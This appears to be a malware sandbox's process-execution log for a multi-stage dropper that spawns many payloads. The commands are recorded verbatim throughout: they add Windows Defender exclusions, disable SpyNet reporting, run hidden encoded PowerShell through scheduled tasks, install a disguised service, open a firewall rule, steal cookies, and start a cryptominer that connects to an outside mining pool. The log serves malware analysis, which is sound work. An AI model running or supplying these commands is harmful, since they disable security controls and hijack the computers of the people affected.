PID 4384 wrote to memory of 4808	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 4808	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 4808	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1284	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1284	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1284	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 4780	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 4780	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 4780	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1776	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1776	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1776	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 2920	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 2920	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 2920	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1040	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1040	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 1040	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 380	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 380	4384	setup_install.exe	cmd.exe
PID 4384 wrote to memory of 380	4384	setup_install.exe	cmd.exe
PID 380 wrote to memory of 916	380	cmd.exe	arnatic_7.exe
PID 380 wrote to memory of 916	380	cmd.exe	arnatic_7.exe
PID 380 wrote to memory of 916	380	cmd.exe	arnatic_7.exe
PID 4780 wrote to memory of 800	4780	cmd.exe	arnatic_3.exe
PID 4780 wrote to memory of 800	4780	cmd.exe	arnatic_3.exe
PID 4780 wrote to memory of 800	4780	cmd.exe	arnatic_3.exe
PID 1284 wrote to memory of 804	1284	cmd.exe	arnatic_2.exe
PID 1284 wrote to memory of 804	1284	cmd.exe	arnatic_2.exe
PID 1284 wrote to memory of 804	1284	cmd.exe	arnatic_2.exe
PID 1776 wrote to memory of 4452	1776	cmd.exe	arnatic_4.exe
PID 1776 wrote to memory of 4452	1776	cmd.exe	arnatic_4.exe
PID 1776 wrote to memory of 4452	1776	cmd.exe	arnatic_4.exe
PID 2920 wrote to memory of 4584	2920	cmd.exe	arnatic_5.exe
PID 2920 wrote to memory of 4584	2920	cmd.exe	arnatic_5.exe
PID 2920 wrote to memory of 4584	2920	cmd.exe	arnatic_5.exe
PID 4808 wrote to memory of 4544	4808	cmd.exe	arnatic_1.exe
PID 4808 wrote to memory of 4544	4808	cmd.exe	arnatic_1.exe
PID 4808 wrote to memory of 4544	4808	cmd.exe	arnatic_1.exe
PID 1040 wrote to memory of 5048	1040	cmd.exe	arnatic_6.exe
PID 1040 wrote to memory of 5048	1040	cmd.exe	arnatic_6.exe
PID 1040 wrote to memory of 5048	1040	cmd.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 4452 wrote to memory of 3572	4452	arnatic_4.exe	jfiag3g_gg.exe
PID 4452 wrote to memory of 3572	4452	arnatic_4.exe	jfiag3g_gg.exe
PID 4452 wrote to memory of 3572	4452	arnatic_4.exe	jfiag3g_gg.exe
PID 800 wrote to memory of 940	800	arnatic_3.exe	rUNdlL32.eXe
PID 800 wrote to memory of 940	800	arnatic_3.exe	rUNdlL32.eXe
PID 800 wrote to memory of 940	800	arnatic_3.exe	rUNdlL32.eXe
PID 3812 wrote to memory of 940	3812	WerFault.exe	rUNdlL32.eXe
PID 3812 wrote to memory of 940	3812	WerFault.exe	rUNdlL32.eXe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 5048 wrote to memory of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 4452 wrote to memory of 2848	4452	arnatic_4.exe	jfiag3g_gg.exe
PID 4452 wrote to memory of 2848	4452	arnatic_4.exe	jfiag3g_gg.exe
PID 4452 wrote to memory of 2848	4452	arnatic_4.exe	jfiag3g_gg.exe

C:\Users\Admin\AppData\Local\Temp\3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe
"C:\Users\Admin\AppData\Local\Temp\3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2460

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4384

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_3.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4780

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_3.exe
arnatic_3.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
5⤵
- Loads dropped DLL
PID:940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 940 -s 604
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2608

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_2.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1284

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_2.exe
arnatic_2.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_1.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4808

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_1.exe
arnatic_1.exe
4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 1816
5⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3748

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_5.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2920

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_5.exe
arnatic_5.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:4584

C:\Users\Admin\Documents\LLCHGZN0EAT2njwMyt6Cd4QN.exe
"C:\Users\Admin\Documents\LLCHGZN0EAT2njwMyt6Cd4QN.exe"
5⤵
- Executes dropped EXE
PID:1192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 396
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5116

C:\Users\Admin\Documents\gvUPzHAdDsF1hvIzb7dOjiWk.exe
"C:\Users\Admin\Documents\gvUPzHAdDsF1hvIzb7dOjiWk.exe"
5⤵
- Executes dropped EXE
PID:960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 624
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 632
6⤵
- Program crash
PID:4676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 640
6⤵
- Program crash
PID:552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 804
6⤵
- Program crash
PID:5396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1240
6⤵
- Program crash
PID:5844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1280
6⤵
- Program crash
PID:6084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1288
6⤵
- Program crash
PID:3784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1248
6⤵
- Program crash
PID:3308

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "gvUPzHAdDsF1hvIzb7dOjiWk.exe" /f & erase "C:\Users\Admin\Documents\gvUPzHAdDsF1hvIzb7dOjiWk.exe" & exit
6⤵
PID:5384

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "gvUPzHAdDsF1hvIzb7dOjiWk.exe" /f
7⤵
- Kills process with taskkill
PID:3584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1356
6⤵
- Program crash
PID:5156

C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe
"C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe"
5⤵
- Executes dropped EXE
PID:4756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe
6⤵
PID:5668

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
7⤵
PID:5924

C:\Users\Admin\Documents\P6ZHW7ui9iFiz7ezxJe47fsJ.exe
"C:\Users\Admin\Documents\P6ZHW7ui9iFiz7ezxJe47fsJ.exe"
5⤵
- Executes dropped EXE
PID:1512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 460
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 480
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2332

C:\Users\Admin\Documents\a0eSBEE5z42Nh8Tp8VpKHKTb.exe
"C:\Users\Admin\Documents\a0eSBEE5z42Nh8Tp8VpKHKTb.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:3188

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
6⤵
PID:3840

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
6⤵
PID:3024

C:\Windows\SysWOW64\cmd.exe
cmd
7⤵
PID:1820

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
8⤵
- Enumerates processes with tasklist
PID:3512

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
8⤵
PID:892

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
8⤵
- Enumerates processes with tasklist
PID:5964

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
8⤵
PID:5972

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
8⤵
PID:5168

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
Sta.exe.pif V
8⤵
PID:864

C:\Windows\SysWOW64\waitfor.exe
waitfor /t 5 MsGxuGavEVaQbserVWhrA
8⤵
PID:5184

C:\Users\Admin\Documents\luYj3b0i_yldlYD0LZmY9Yfn.exe
"C:\Users\Admin\Documents\luYj3b0i_yldlYD0LZmY9Yfn.exe"
5⤵
- Executes dropped EXE
PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 468
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 460
6⤵
- Program crash
PID:3652

C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe
"C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe"
5⤵
PID:4832

C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe
"C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe"
6⤵
- Executes dropped EXE
PID:3404

C:\Users\Admin\Documents\fdM1mN1vyGiasatClF4jPBcM.exe
"C:\Users\Admin\Documents\fdM1mN1vyGiasatClF4jPBcM.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:864

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\emxsmhgz\
6⤵
PID:4072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rfgikpcf.exe" C:\Windows\SysWOW64\emxsmhgz\
6⤵
PID:1784

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4832

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create emxsmhgz binPath= "C:\Windows\SysWOW64\emxsmhgz\rfgikpcf.exe /d\"C:\Users\Admin\Documents\fdM1mN1vyGiasatClF4jPBcM.exe\"" type= own start= auto DisplayName= "wifi support"
6⤵
PID:2056

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description emxsmhgz "wifi internet conection"
6⤵
PID:3632

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start emxsmhgz
6⤵
PID:4832

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
6⤵
PID:444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 864 -s 1200
6⤵
- Program crash
PID:5208

C:\Users\Admin\Documents\CvMcDP7uCaanM1ErEeozuLra.exe
"C:\Users\Admin\Documents\CvMcDP7uCaanM1ErEeozuLra.exe"
5⤵
- Executes dropped EXE
PID:1656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 1964
6⤵
- Program crash
PID:5192

C:\Users\Admin\Documents\3EfEfD98GfKPTNGhWrpDYR56.exe
"C:\Users\Admin\Documents\3EfEfD98GfKPTNGhWrpDYR56.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3864

C:\Users\Admin\AppData\Local\Temp\E1044.exe
"C:\Users\Admin\AppData\Local\Temp\E1044.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1996

C:\Users\Admin\AppData\Local\Temp\33JI8.exe
"C:\Users\Admin\AppData\Local\Temp\33JI8.exe"
6⤵
- Executes dropped EXE
PID:4044

C:\Users\Admin\AppData\Local\Temp\H7LL6.exe
"C:\Users\Admin\AppData\Local\Temp\H7LL6.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3004

C:\Users\Admin\AppData\Local\Temp\H7LL6.exe
"C:\Users\Admin\AppData\Local\Temp\H7LL6.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2388

C:\Users\Admin\AppData\Local\Temp\H7LL6K2HA28JEH4.exe
https://iplogger.org/1OUvJ
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1308

C:\Users\Admin\AppData\Local\Temp\H7LL6.exe
"C:\Users\Admin\AppData\Local\Temp\H7LL6.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2052

C:\Users\Admin\Documents\XKNlY0FXPo5qa1LVczpoFkoR.exe
"C:\Users\Admin\Documents\XKNlY0FXPo5qa1LVczpoFkoR.exe"
5⤵
- Executes dropped EXE
PID:1184

C:\Users\Admin\AppData\Local\Temp\7zSEED.tmp\Install.exe
.\Install.exe
6⤵
- Executes dropped EXE
PID:4260

C:\Users\Admin\AppData\Local\Temp\7zS61CF.tmp\Install.exe
.\Install.exe /S /site_id "525403"
7⤵
PID:2336

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
8⤵
PID:5404

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
9⤵
PID:5632

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
10⤵
PID:5836

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
10⤵
PID:5904

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
8⤵
PID:5428

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
9⤵
PID:5600

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
10⤵
PID:5652

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
10⤵
PID:5732

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gBvtrizyv" /SC once /ST 01:46:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
8⤵
- Creates scheduled task(s)
PID:5892

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gBvtrizyv"
8⤵
PID:6052

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gBvtrizyv"
8⤵
PID:444

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bnkqNuphAZeBTHhYMc" /SC once /ST 05:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\EGoFffd.exe\" j1 /site_id 525403 /S" /V1 /F
8⤵
- Creates scheduled task(s)
PID:5772

C:\Users\Admin\Documents\Z7RPBSp2ihw_a2yKGtlsE4Mu.exe
"C:\Users\Admin\Documents\Z7RPBSp2ihw_a2yKGtlsE4Mu.exe"
5⤵
- Executes dropped EXE
PID:3804

C:\Windows\SysWOW64\control.exe
"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
6⤵
PID:2832

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
7⤵
PID:1720

C:\Users\Admin\Documents\zSbmeKFNi8dJd7WROZ7pbPin.exe
"C:\Users\Admin\Documents\zSbmeKFNi8dJd7WROZ7pbPin.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4692

C:\Users\Admin\Documents\8dDZAD1a1JKkGSppPRwNPtVB.exe
"C:\Users\Admin\Documents\8dDZAD1a1JKkGSppPRwNPtVB.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3512

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
PID:4532

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
PID:1276

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_7.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:380

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_7.exe
arnatic_7.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_6.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1040

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.exe
arnatic_6.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5048

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.exe
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:220

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_4.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_4.exe
arnatic_4.exe
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4452

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:3572

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 940 -ip 940
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1192 -ip 1192
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1512 -ip 1512
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 960 -ip 960
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1512 -ip 1512
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 960 -ip 960
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 960 -ip 960
1⤵
PID:3096

C:\Windows\SysWOW64\emxsmhgz\rfgikpcf.exe
C:\Windows\SysWOW64\emxsmhgz\rfgikpcf.exe /d"C:\Users\Admin\Documents\fdM1mN1vyGiasatClF4jPBcM.exe"
1⤵
PID:3408

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
PID:5708

C:\Windows\SysWOW64\svchost.exe
svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
3⤵
PID:5540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3408 -s 524
2⤵
- Program crash
PID:5780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1656 -ip 1656
1⤵
PID:116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 864 -ip 864
1⤵
PID:5148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 960 -ip 960
1⤵
PID:5360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3408 -ip 3408
1⤵
PID:5748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 960 -ip 960
1⤵
PID:5804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 960 -ip 960
1⤵
PID:6040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 960 -ip 960
1⤵
PID:4200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 960 -ip 960
1⤵
PID:260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 960 -ip 960
1⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\EGoFffd.exe
C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\EGoFffd.exe j1 /site_id 525403 /S
1⤵
PID:5428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
